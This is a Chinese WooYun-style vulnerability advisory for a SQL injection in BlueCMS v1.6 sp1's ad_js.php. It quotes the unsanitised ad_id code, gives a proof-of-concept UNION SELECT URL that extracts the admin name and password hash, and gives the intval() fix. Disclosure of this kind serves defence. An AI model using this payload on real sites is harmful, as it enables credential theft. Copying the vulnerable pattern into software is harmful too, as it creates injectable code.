ad_js.phpsql,BlueCMSv1.6sp1ad_js.phpSQL注入漏洞

漏洞概要

缺陷编号&＃xff1a;WooYun-2010-0141

漏洞标题&＃xff1a;BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞

相关厂商&＃xff1a;BlueCMS

漏洞作者&＃xff1a;CnCxzSec(衰仔)

提交时间&＃xff1a;2010-07-30 19:49

公开时间&＃xff1a;2010-07-30 21:52

漏洞类型&＃xff1a;SQL注射漏洞

危害等级&＃xff1a;高

自评Rank&＃xff1a;20

漏洞状态&＃xff1a;未联系到厂商或者厂商积极忽略

Tags标签&＃xff1a;

漏洞详情

披露状态&＃xff1a;

2010-07-30: 积极联系厂商并且等待厂商认领中&＃xff0c;细节不对外公开

2010-07-30: 厂商已经主动忽略漏洞&＃xff0c;细节向公众公开

简要描述&＃xff1a;

BlueCMS v1.6 sp1 某页面SQL注入漏洞

详细说明&＃xff1a;

缺陷文件&＃xff1a;ad_js.php漏洞成因&＃xff1a;[code]12: $ad_id &＃61; !empty($_GET[&＃39;ad_id&＃39;]) ? trim($_GET[&＃39;ad_id&＃39;]) : &＃39;&＃39;; //根目录下其他文件都做了很好的过滤&＃xff0c;对数字型变量几乎都用了intval()做限制&＃xff0c;唯独漏了这个文件&＃xff0c;居然只是用了trim()去除头尾空格。。19: $ad &＃61; $db->getone("SELECT * FROM ".table(&＃39;ad&＃39;)." WHERE ad_id &＃61;".$ad_id); //直接代入查询。。汗。[/code]

漏洞证明&＃xff1a;

http://localhost/cms/ad_js.php?ad_id&＃61;1%20and%201&＃61;2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id&＃61;1右键查看源代码得到返回数据。

修复方案&＃xff1a;

[code]$ad_id &＃61; !empty($_GET[&＃39;ad_id&＃39;]) ? intval($_GET[&＃39;ad_id&＃39;]) : &＃39;&＃39;;[/code]

漏洞回应

厂商回应&＃xff1a;

未能联系到厂商或者厂商积极拒绝

漏洞Rank&＃xff1a;10 (WooYun评价)

评价

2010-01-01 00:00 灰灰灰阔 白帽子 | Rank:8 漏洞数:1)

1